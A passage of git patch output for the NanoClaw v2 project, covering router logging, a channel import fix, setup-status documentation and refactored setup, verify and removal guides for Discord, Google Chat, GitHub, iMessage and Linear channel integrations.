mg.id, + channelType: event.channelType, platformId: event.platformId, }); return; @@ -68,7 +71,10 @@ export async function routeInbound(event: InboundEvent): Promise { // Pick the best matching agent (highest priority, trigger matching in future) const match = pickAgent(agents, event); if (!match) { - log.debug('No agent matched for message', { messagingGroupId: mg.id }); + log.warn('MESSAGE DROPPED — no agent matched trigger rules', { + messagingGroupId: mg.id, + channelType: event.channelType, + }); return; } From 1dc5750ca3743e4169406fad0c3a2214a3461e66 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:24:06 +0300 Subject: [PATCH 086/485] fix: uncomment Discord import in channel barrel Discord was directly imported in src/index.ts before the barrel wiring. Moving to the barrel without uncommenting it broke Discord. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/index.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/channels/index.ts b/src/channels/index.ts index 4b3b125..f01c35a 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -2,7 +2,7 @@ // Each import triggers the channel module's registerChannelAdapter() call. // discord -// import './discord.js'; +import './discord.js'; // slack // import './slack.js'; From ed76d51e0b17474bad4a4458e1443d1562abcc80 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:28:46 +0300 Subject: [PATCH 087/485] docs: add v2 setup wiring status and remaining work Detailed status document for next session: what's done (two-DB split, OneCLI, barrel, register.ts), what's not (channel skills don't call register, no group creation step in setup, v1 add-discord incompatible). Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 6 +- docs/v2-setup-wiring.md | 143 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 147 insertions(+), 2 deletions(-) create mode 100644 docs/v2-setup-wiring.md diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 80f91d9..6487658 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -7,8 +7,9 @@ Status: [x] done, [~] partial, [ ] not started ## Core Architecture - [x] Session DB replaces IPC (messages_in / messages_out as sole IO) +- [x] Two-DB split: inbound.db (host-owned) + outbound.db (container-owned) — zero cross-process write contention - [x] Central DB (agent groups, messaging groups, sessions, routing) -- [x] Host sweep (stale detection, retry with backoff, recurrence scheduling) +- [x] Host sweep (stale detection via heartbeat file, retry with backoff, recurrence scheduling) - [x] Active delivery polling (1s for running sessions) - [x] Sweep delivery polling (60s across all sessions) - [x] Container runner with session DB mounting @@ -53,7 +54,8 @@ Status: [x] done, [~] partial, [ ] not started - [~] Webex via Chat SDK (adapter + skill written, not tested) - [~] iMessage via Chat SDK (adapter + skill written, not tested) - [x] Backward compatibility with native channels (old adapters still work) -- [ ] Setup flow wired to v2 channels +- [x] Channel barrel wired (src/index.ts imports barrel, skills uncomment) +- [~] Setup flow wired to v2 channels (register.ts + verify.ts updated, but channel skills don't call register yet — see docs/v2-setup-wiring.md) - [ ] Setup communicates each group is a different agent, distinct names - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup diff --git a/docs/v2-setup-wiring.md b/docs/v2-setup-wiring.md new file mode 100644 index 0000000..8b67d30 --- /dev/null +++ b/docs/v2-setup-wiring.md @@ -0,0 +1,143 @@ +# v2 Setup Wiring — Status & Remaining Work + +Last updated: 2026-04-09, branch `v2`, commit `1dc5750` + +## What's Done + +### Two-DB Split (session DB write isolation) +- Session DB split into `inbound.db` (host-owned) and `outbound.db` (container-owned) +- Each file has exactly one writer — eliminates SQLite write contention across host-container mount +- Host uses even seq numbers, container uses odd (collision-free) +- Container heartbeat via file touch (`/workspace/.heartbeat`) instead of DB UPDATE +- Scheduling MCP tools emit system actions via messages_out; host applies them to inbound.db in `delivery.ts:handleSystemAction()` +- Host sweep reads `processing_ack` table + heartbeat file mtime for stale detection +- Container clears stale `processing_ack` entries on startup (crash recovery) +- Files: `src/db/schema.ts` (INBOUND_SCHEMA + OUTBOUND_SCHEMA), `src/session-manager.ts`, `src/delivery.ts`, `src/host-sweep.ts`, `container/agent-runner/src/db/connection.ts`, `messages-in.ts`, `messages-out.ts`, `poll-loop.ts`, `mcp-tools/scheduling.ts`, `mcp-tools/interactive.ts` +- Container image rebuilt with tsconfig excluding v1 (`container/agent-runner/tsconfig.json`) +- E2E verified: host → Docker container → Claude responds → "E2E works!" ✓ + +### OneCLI Integration +- `ensureAgent()` call added before `applyContainerConfig()` in `src/container-runner.ts` +- Without `ensureAgent`, OneCLI rejects unknown agent identifiers and returns false, leaving container with no credentials +- E2E verified with OneCLI credential injection ✓ + +### Channel Barrel +- `src/index.ts` imports `./channels/index.js` (the barrel) +- Channel skills uncomment lines in the barrel to enable channels +- Discord is uncommented by default (it was previously a direct import in index.ts) + +### Setup Registration (partially) +- `setup/register.ts` rewritten to create v2 entities (`agent_groups`, `messaging_groups`, `messaging_group_agents`) in `data/v2.db` +- Accepts `--platform-id` (v2) and `--jid` (v1 compat) flags +- Added `getMessagingGroupAgentByPair()` to prevent duplicate wiring +- `setup/verify.ts` updated to check v2 central DB (counts agent groups with wiring) + +### Router Logging +- `src/router.ts` logs `MESSAGE DROPPED` at WARN level when no agents wired, with actionable guidance + +--- + +## What's NOT Done — Remaining Work for Fresh Install + +### 1. v2 Channel Skills Don't Register Groups + +**Problem:** The v2 channel skills (`.claude/skills/add-telegram-v2/SKILL.md`, `add-slack-v2`, `add-linear-v2`, etc.) only do: +- Install npm package +- Uncomment barrel import +- Collect credentials → write to `.env` +- Build and verify + +They do NOT create agent groups, messaging groups, or wiring in the v2 central DB. Without these DB entities, the router auto-creates a `messaging_group` on first message but finds no `messaging_group_agents` → message is silently dropped (now logged as WARN). + +**Fix needed:** Each v2 channel skill needs a registration phase that calls: +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" \ + --name "" \ + --folder "" \ + --trigger "@BotName" \ + --channel \ + --is-main # (if this is the primary group) +``` + +Or alternatively, add a dedicated "register groups" step to `setup/SKILL.md` between step 5 (channels) and step 6 (mounts). This step would: +1. Ask the user how many agent groups they want +2. For each group: name, folder, which channels it handles, trigger pattern, session mode +3. Call `setup/register.ts` for each + +### 2. v1 add-discord Skill is Incompatible + +**Problem:** Setup SKILL.md line 263 references `/add-discord` (v1 skill). This skill: +- Tries to merge a branch (`feat/discord`) +- Uses `--jid "dc:"` format +- References `store/messages.db` for verification +- Creates a v1 DiscordChannel class (we now use Chat SDK) + +**Fix needed:** Either: +- Create a `/add-discord-v2` skill matching the pattern of other v2 skills +- Or update the existing `/add-discord` skill for v2 +- Update `setup/SKILL.md` line 263 to reference the correct skill + +### 3. Setup SKILL.md Missing Group Registration Step + +**Problem:** The setup flow (steps 0-9) has no step for creating agent groups. Channels get configured (step 5) but nobody creates the v2 entities needed for routing. + +**Fix needed:** Add a step (probably between current step 5 and 6, or as part of step 5) that: +1. Asks "What do you want to name your assistant?" (already partially handled by `--assistant-name`) +2. Asks which channel+platform-id is the primary/admin channel +3. Creates the agent_group with `is_admin=1` +4. Creates messaging_group + messaging_group_agents wiring +5. Optionally creates additional non-admin agent groups + +The v1 flow embedded this in each channel skill's "Register" phase. The v2 flow should either do the same (add register calls to each v2 channel skill) or centralize it. + +### 4. Setup Groups Step (`setup/groups.ts`) + +Check if `setup/groups.ts` exists and what it does. It may need updating for v2 or may need to be created. + +### 5. Channel Skills Should Know Channel Type + +Each v2 channel skill knows its channel type (discord, telegram, slack, etc.) but the registration args need the platform-specific channel/group ID which the user must provide. The skill should ask for this during Phase 3 (Setup) and then call register. + +### 6. Verify Step Channel Auth Check + +`setup/verify.ts` currently checks for a limited set of channel tokens: +- TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN, SLACK_APP_TOKEN, DISCORD_BOT_TOKEN +- WhatsApp auth dir + +It should also check for v2 channel tokens: +- GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_PASSWORD, etc. + +--- + +## Architecture Reference + +### v2 Entity Model +``` +agent_groups (id, name, folder, is_admin, agent_provider, container_config) + ↕ many-to-many +messaging_groups (id, channel_type, platform_id, name, is_group, admin_user_id) + via +messaging_group_agents (messaging_group_id, agent_group_id, trigger_rules, session_mode, priority) +``` + +### Message Flow +``` +Channel adapter → routeInbound() → resolve messaging_group → resolve agent via messaging_group_agents +→ resolve/create session → write to inbound.db → wake container → agent-runner polls inbound.db +→ agent responds → writes to outbound.db → host delivery poll reads outbound.db → deliver via adapter +``` + +### Key Files +| File | Purpose | +|------|---------| +| `src/index.ts` | v2 entry point, imports channel barrel | +| `src/channels/index.ts` | Channel barrel — uncomment to enable | +| `src/router.ts` | Inbound routing, auto-creates messaging groups | +| `src/session-manager.ts` | Creates inbound.db + outbound.db per session | +| `src/delivery.ts` | Polls outbound.db, delivers, handles system actions | +| `src/host-sweep.ts` | Syncs processing_ack, stale detection, recurrence | +| `src/container-runner.ts` | Spawns containers, OneCLI ensureAgent + applyContainerConfig | +| `setup/register.ts` | Creates v2 entities (agent_group, messaging_group, wiring) | +| `setup/verify.ts` | Checks v2 central DB for registered groups | +| `container/agent-runner/src/db/connection.ts` | Two-DB connection layer (inbound read-only, outbound read-write) | From 57a6491c7e7820b5c0e8ccf3a91fa7a3080fd470 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:19:19 +0300 Subject: [PATCH 088/485] v2: channel isolation model, manage-channels skill, refactored channel skills - Add three-level isolation model (shared session, same agent, separate agent) with agent-shared session mode for cross-channel shared sessions - Create /manage-channels skill for wiring channels to agent groups - Refactor all 12 v2 channel skills: lean SKILL.md + VERIFY.md + REMOVE.md with structured Channel Info section for platform-specific metadata - Create /add-discord-v2 skill (was missing) - Add step 5a to setup SKILL.md invoking /manage-channels after channel install - Update setup/verify.ts to check all 12 channel token types - Add docs/v2-isolation-model.md explaining the isolation model - Update v2-checklist.md and v2-setup-wiring.md to reflect completed work Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-discord-v2/REMOVE.md | 7 ++ .claude/skills/add-discord-v2/SKILL.md | 69 +++++++++++++++ .claude/skills/add-discord-v2/VERIFY.md | 3 + .claude/skills/add-gchat-v2/REMOVE.md | 6 ++ .claude/skills/add-gchat-v2/SKILL.md | 44 ++++------ .claude/skills/add-gchat-v2/VERIFY.md | 3 + .claude/skills/add-github-v2/REMOVE.md | 6 ++ .claude/skills/add-github-v2/SKILL.md | 46 ++++------ .claude/skills/add-github-v2/VERIFY.md | 3 + .claude/skills/add-imessage-v2/REMOVE.md | 6 ++ .claude/skills/add-imessage-v2/SKILL.md | 59 ++++++------- .claude/skills/add-imessage-v2/VERIFY.md | 3 + .claude/skills/add-linear-v2/REMOVE.md | 6 ++ .claude/skills/add-linear-v2/SKILL.md | 44 ++++------ .claude/skills/add-linear-v2/VERIFY.md | 3 + .claude/skills/add-matrix-v2/REMOVE.md | 6 ++ .claude/skills/add-matrix-v2/SKILL.md | 58 +++++------- .claude/skills/add-matrix-v2/VERIFY.md | 3 + .claude/skills/add-resend-v2/REMOVE.md | 6 ++ .claude/skills/add-resend-v2/SKILL.md | 60 ++++++------- .claude/skills/add-resend-v2/VERIFY.md | 3 + .claude/skills/add-slack-v2/REMOVE.md | 6 ++ .claude/skills/add-slack-v2/SKILL.md | 59 ++++++------- .claude/skills/add-slack-v2/VERIFY.md | 3 + .claude/skills/add-teams-v2/REMOVE.md | 6 ++ .claude/skills/add-teams-v2/SKILL.md | 54 +++++------- .claude/skills/add-teams-v2/VERIFY.md | 3 + .claude/skills/add-telegram-v2/REMOVE.md | 6 ++ .claude/skills/add-telegram-v2/SKILL.md | 58 ++++++------ .claude/skills/add-telegram-v2/VERIFY.md | 3 + .claude/skills/add-webex-v2/REMOVE.md | 6 ++ .claude/skills/add-webex-v2/SKILL.md | 55 +++++------- .claude/skills/add-webex-v2/VERIFY.md | 3 + .../skills/add-whatsapp-cloud-v2/REMOVE.md | 6 ++ .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 67 ++++++-------- .../skills/add-whatsapp-cloud-v2/VERIFY.md | 3 + .claude/skills/manage-channels/SKILL.md | 81 +++++++++++++++++ .claude/skills/setup/SKILL.md | 17 +++- docs/v2-checklist.md | 6 +- docs/v2-isolation-model.md | 88 +++++++++++++++++++ docs/v2-setup-wiring.md | 71 +++------------ setup/verify.ts | 39 +++++--- src/channels/adapter.ts | 2 +- src/db/sessions.ts | 7 ++ src/session-manager.ts | 31 +++++-- src/types.ts | 2 +- 46 files changed, 677 insertions(+), 449 deletions(-) create mode 100644 .claude/skills/add-discord-v2/REMOVE.md create mode 100644 .claude/skills/add-discord-v2/SKILL.md create mode 100644 .claude/skills/add-discord-v2/VERIFY.md create mode 100644 .claude/skills/add-gchat-v2/REMOVE.md create mode 100644 .claude/skills/add-gchat-v2/VERIFY.md create mode 100644 .claude/skills/add-github-v2/REMOVE.md create mode 100644 .claude/skills/add-github-v2/VERIFY.md create mode 100644 .claude/skills/add-imessage-v2/REMOVE.md create mode 100644 .claude/skills/add-imessage-v2/VERIFY.md create mode 100644 .claude/skills/add-linear-v2/REMOVE.md create mode 100644 .claude/skills/add-linear-v2/VERIFY.md create mode 100644 .claude/skills/add-matrix-v2/REMOVE.md create mode 100644 .claude/skills/add-matrix-v2/VERIFY.md create mode 100644 .claude/skills/add-resend-v2/REMOVE.md create mode 100644 .claude/skills/add-resend-v2/VERIFY.md create mode 100644 .claude/skills/add-slack-v2/REMOVE.md create mode 100644 .claude/skills/add-slack-v2/VERIFY.md create mode 100644 .claude/skills/add-teams-v2/REMOVE.md create mode 100644 .claude/skills/add-teams-v2/VERIFY.md create mode 100644 .claude/skills/add-telegram-v2/REMOVE.md create mode 100644 .claude/skills/add-telegram-v2/VERIFY.md create mode 100644 .claude/skills/add-webex-v2/REMOVE.md create mode 100644 .claude/skills/add-webex-v2/VERIFY.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/REMOVE.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/VERIFY.md create mode 100644 .claude/skills/manage-channels/SKILL.md create mode 100644 docs/v2-isolation-model.md diff --git a/.claude/skills/add-discord-v2/REMOVE.md b/.claude/skills/add-discord-v2/REMOVE.md new file mode 100644 index 0000000..702e55d --- /dev/null +++ b/.claude/skills/add-discord-v2/REMOVE.md @@ -0,0 +1,7 @@ +# Remove Discord + +1. Comment out `import './discord.js'` in `src/channels/index.ts` +2. Remove `DISCORD_BOT_TOKEN` from `.env` +3. Rebuild and restart + +No package to uninstall — Discord is built in. diff --git a/.claude/skills/add-discord-v2/SKILL.md b/.claude/skills/add-discord-v2/SKILL.md new file mode 100644 index 0000000..40d6f9e --- /dev/null +++ b/.claude/skills/add-discord-v2/SKILL.md @@ -0,0 +1,69 @@ +--- +name: add-discord-v2 +description: Add Discord bot channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Discord Channel + +Adds Discord bot support to NanoClaw v2. Discord is built in — no adapter package to install. + +## Pre-flight + +Check if `src/channels/discord.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. + +## Install + +Discord support is bundled with NanoClaw — there is no separate package to install. + +### Enable the channel + +Uncomment the Discord import in `src/channels/index.ts`: + +```typescript +import './discord.js'; +``` + +### Build + +```bash +npm run build +``` + +## Credentials + +### Create Discord Bot + +1. Go to the [Discord Developer Portal](https://discord.com/developers/applications) +2. Click **New Application** and give it a name (e.g., "NanoClaw Assistant") +3. Go to the **Bot** tab and click **Add Bot** if needed +4. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) +5. Under **Privileged Gateway Intents**, enable **Message Content Intent** +6. Go to **OAuth2** > **URL Generator**: + - Scopes: select `bot` + - Bot Permissions: select `Send Messages`, `Read Message History`, `Add Reactions`, `Attach Files`, `Use Slash Commands` +7. Copy the generated URL and open it in your browser to invite the bot to your server + +### Configure environment + +Add to `.env`: + +```bash +DISCORD_BOT_TOKEN=your-bot-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +## Next Steps + +If you're in the middle of `/setup`, return to the setup flow now. + +Otherwise, run `/manage-channels` to wire this channel to an agent group. + +## Channel Info + +- **type**: `discord` +- **terminology**: Discord has "servers" (also called "guilds") containing "channels." Text channels start with #. The bot can also receive direct messages. +- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server or channel and select "Copy ID." +- **supports-threads**: yes +- **typical-use**: Interactive chat — server channels or direct messages +- **default-isolation**: Same agent group for your personal server. Separate agent group for servers with different communities or where different members have different information boundaries. diff --git a/.claude/skills/add-discord-v2/VERIFY.md b/.claude/skills/add-discord-v2/VERIFY.md new file mode 100644 index 0000000..0db2e5a --- /dev/null +++ b/.claude/skills/add-discord-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Discord + +Send a message in a channel where the bot has access, or DM the bot directly. The bot should respond within a few seconds. diff --git a/.claude/skills/add-gchat-v2/REMOVE.md b/.claude/skills/add-gchat-v2/REMOVE.md new file mode 100644 index 0000000..7bf56de --- /dev/null +++ b/.claude/skills/add-gchat-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Google Chat Channel + +1. Comment out `import './gchat.js'` in `src/channels/index.ts` +2. Remove `GCHAT_CREDENTIALS` from `.env` +3. `npm uninstall @chat-adapter/gchat` +4. Rebuild and restart diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md index aa4a740..df1ab94 100644 --- a/.claude/skills/add-gchat-v2/SKILL.md +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -3,39 +3,31 @@ name: add-gchat-v2 description: Add Google Chat channel integration to NanoClaw v2 via Chat SDK. --- -# Add Google Chat Channel (v2) +# Add Google Chat Channel -This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. +Adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/gchat.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/gchat ``` -### Enable the channel - Uncomment the Google Chat import in `src/channels/index.ts`: ```typescript import './gchat.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create Google Chat App +## Credentials > 1. Go to [Google Cloud Console](https://console.cloud.google.com) > 2. Create or select a project @@ -58,21 +50,17 @@ GCHAT_CREDENTIALS={"type":"service_account","project_id":"...","private_key":".. Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Add the bot to a Google Chat space, then send a message or @mention the bot. +## Channel Info -## Removal - -1. Comment out `import './gchat.js'` in `src/channels/index.ts` -2. Remove `GCHAT_CREDENTIALS` from `.env` -3. `npm uninstall @chat-adapter/gchat` -4. Rebuild and restart +- **type**: `gchat` +- **terminology**: Google Chat has "spaces." A space can be a group conversation or a direct message with the bot. +- **how-to-find-id**: Open the space in Google Chat, look at the URL — the space ID is the segment after `/space/` (e.g. `spaces/AAAA...`). Or use the Google Chat API to list spaces. +- **supports-threads**: yes +- **typical-use**: Interactive chat — team spaces or direct messages +- **default-isolation**: Same agent group for spaces where you're the primary user. Separate agent group for spaces with different teams or sensitive contexts. diff --git a/.claude/skills/add-gchat-v2/VERIFY.md b/.claude/skills/add-gchat-v2/VERIFY.md new file mode 100644 index 0000000..fc131a4 --- /dev/null +++ b/.claude/skills/add-gchat-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify Google Chat Channel + +Add the bot to a Google Chat space, then send a message or @mention the bot. The bot should respond within a few seconds. diff --git a/.claude/skills/add-github-v2/REMOVE.md b/.claude/skills/add-github-v2/REMOVE.md new file mode 100644 index 0000000..8f04e83 --- /dev/null +++ b/.claude/skills/add-github-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove GitHub Channel + +1. Comment out `import './github.js'` in `src/channels/index.ts` +2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/github` +4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md index f2e7276..3ade91d 100644 --- a/.claude/skills/add-github-v2/SKILL.md +++ b/.claude/skills/add-github-v2/SKILL.md @@ -1,41 +1,33 @@ --- name: add-github-v2 -description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR comment threads as conversations. +description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR and issue comment threads as conversations. --- -# Add GitHub Channel (v2) +# Add GitHub Channel -This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in PR comment threads. +Adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent participates in PR and issue comment threads. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/github.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/github ``` -### Enable the channel - Uncomment the GitHub import in `src/channels/index.ts`: ```typescript import './github.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create GitHub credentials +## Credentials > 1. Go to [GitHub Settings > Developer Settings > Personal Access Tokens](https://github.com/settings/tokens) > 2. Create a **Fine-grained token** with: @@ -60,21 +52,17 @@ GITHUB_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> @mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './github.js'` in `src/channels/index.ts` -2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` -3. `npm uninstall @chat-adapter/github` -4. Rebuild and restart +- **type**: `github` +- **terminology**: GitHub has "repositories" containing "pull requests" and "issues." Each PR or issue comment thread is a separate conversation. +- **how-to-find-id**: The platform ID is `owner/repo` (e.g. `acme/backend`). Each PR/issue becomes its own thread automatically. +- **supports-threads**: yes (PR and issue comment threads are native conversations) +- **typical-use**: Webhook/notification — the agent receives PR and issue events and responds in comment threads +- **default-isolation**: Typically shares a session with a chat channel (e.g. Slack) so the agent can summarize PRs and respond to reviews in the same context. Use a separate agent group if the repo contains sensitive code that other channels shouldn't access. diff --git a/.claude/skills/add-github-v2/VERIFY.md b/.claude/skills/add-github-v2/VERIFY.md new file mode 100644 index 0000000..61840b7 --- /dev/null +++ b/.claude/skills/add-github-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify GitHub Channel + +@mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. diff --git a/.claude/skills/add-imessage-v2/REMOVE.md b/.claude/skills/add-imessage-v2/REMOVE.md new file mode 100644 index 0000000..3163e85 --- /dev/null +++ b/.claude/skills/add-imessage-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove iMessage Channel + +1. Comment out `import './imessage.js'` in `src/channels/index.ts` +2. Remove iMessage env vars (`IMESSAGE_ENABLED`, `IMESSAGE_LOCAL`, `IMESSAGE_SERVER_URL`, `IMESSAGE_API_KEY`) from `.env` +3. `npm uninstall chat-adapter-imessage` +4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md index 6ac1a6f..65bd709 100644 --- a/.claude/skills/add-imessage-v2/SKILL.md +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -3,61 +3,55 @@ name: add-imessage-v2 description: Add iMessage channel integration to NanoClaw v2 via Chat SDK. Local (macOS) or remote (Photon API) mode. --- -# Add iMessage Channel (v2) +# Add iMessage Channel -This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Supports local mode (macOS with Full Disk Access) and remote mode (via Photon API). +Adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Two modes: local (macOS with Full Disk Access) or remote (Photon API). -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/imessage.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install chat-adapter-imessage ``` -### Enable the channel - Uncomment the iMessage import in `src/channels/index.ts`: ```typescript import './imessage.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup +## Credentials ### Local Mode (macOS) -> **Requirements**: macOS with Full Disk Access granted to your terminal/Node.js process. -> -> 1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** -> 2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary -> 3. The adapter reads directly from the iMessage database on disk +Requirements: macOS with Full Disk Access granted to your terminal/Node.js process. + +1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** +2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary +3. The adapter reads directly from the iMessage database on disk ### Remote Mode (Photon API) -> 1. Set up a [Photon](https://photon.im) account -> 2. Get your server URL and API key +1. Set up a [Photon](https://photon.im) account +2. Get your server URL and API key ### Configure environment -**Local mode** — add to `.env`: +**Local mode** -- add to `.env`: ```bash IMESSAGE_ENABLED=true IMESSAGE_LOCAL=true ``` -**Remote mode** — add to `.env`: +**Remote mode** -- add to `.env`: ```bash IMESSAGE_LOCAL=false @@ -67,20 +61,17 @@ IMESSAGE_API_KEY=your-api-key Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './imessage.js'` in `src/channels/index.ts` -2. Remove iMessage env vars from `.env` -3. `npm uninstall chat-adapter-imessage` -4. Rebuild and restart +- **type**: `imessage` +- **terminology**: iMessage has "conversations." Each conversation is with a contact identified by phone number or email address. Group chats are also supported. +- **how-to-find-id**: The platform ID is the contact's phone number (e.g. `+15551234567`) or email address. For group chats, the ID is assigned by iMessage internally. +- **supports-threads**: no +- **typical-use**: Interactive 1:1 chat — personal messaging +- **default-isolation**: Same agent group if you're the only person messaging the bot across iMessage and other channels. Separate agent group if different contacts should have information isolation. diff --git a/.claude/skills/add-imessage-v2/VERIFY.md b/.claude/skills/add-imessage-v2/VERIFY.md new file mode 100644 index 0000000..4fa4755 --- /dev/null +++ b/.claude/skills/add-imessage-v2/VERIFY.md @@ -0,0 +1,3 @@ +# Verify iMessage Channel + +Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. diff --git a/.claude/skills/add-linear-v2/REMOVE.md b/.claude/skills/add-linear-v2/REMOVE.md new file mode 100644 index 0000000..858c000 --- /dev/null +++ b/.claude/skills/add-linear-v2/REMOVE.md @@ -0,0 +1,6 @@ +# Remove Linear Channel + +1. Comment out `import './linear.js'` in `src/channels/index.ts` +2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/linear` +4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md index d4b1933..cfa505d 100644 --- a/.claude/skills/add-linear-v2/SKILL.md +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -3,39 +3,31 @@ name: add-linear-v2 description: Add Linear channel integration to NanoClaw v2 via Chat SDK. Issue comment threads as conversations. --- -# Add Linear Channel (v2) +# Add Linear Channel -This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in issue comment threads. +Adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent participates in issue comment threads. -## Phase 1: Pre-flight +## Pre-flight -Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. +Check if `src/channels/linear.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Credentials. -## Phase 2: Apply Code Changes - -### Install the adapter package +## Install ```bash npm install @chat-adapter/linear ``` -### Enable the channel - Uncomment the Linear import in `src/channels/index.ts`: ```typescript import './linear.js'; ``` -### Build - ```bash npm run build ``` -## Phase 3: Setup - -### Create Linear credentials +## Credentials > 1. Go to [Linear Settings > API](https://linear.app/settings/api) > 2. Create a **Personal API Key** (or use an OAuth application for team-wide access) @@ -57,21 +49,17 @@ LINEAR_WEBHOOK_SECRET=your-webhook-secret Sync to container: `mkdir -p data/env && cp .env data/env/env` -### Build and restart +## Next Steps -```bash -npm run build -launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS -# systemctl --user restart nanoclaw # Linux -``` +If you're in the middle of `/setup`, return to the setup flow now. -## Phase 4: Verify +Otherwise, run `/manage-channels` to wire this channel to an agent group. -> @mention the bot in a Linear issue comment. The bot should respond within a few seconds. +## Channel Info -## Removal - -1. Comment out `import './linear.js'` in `src/channels/index.ts` -2. Remove `LINEAR_API_KEY` and 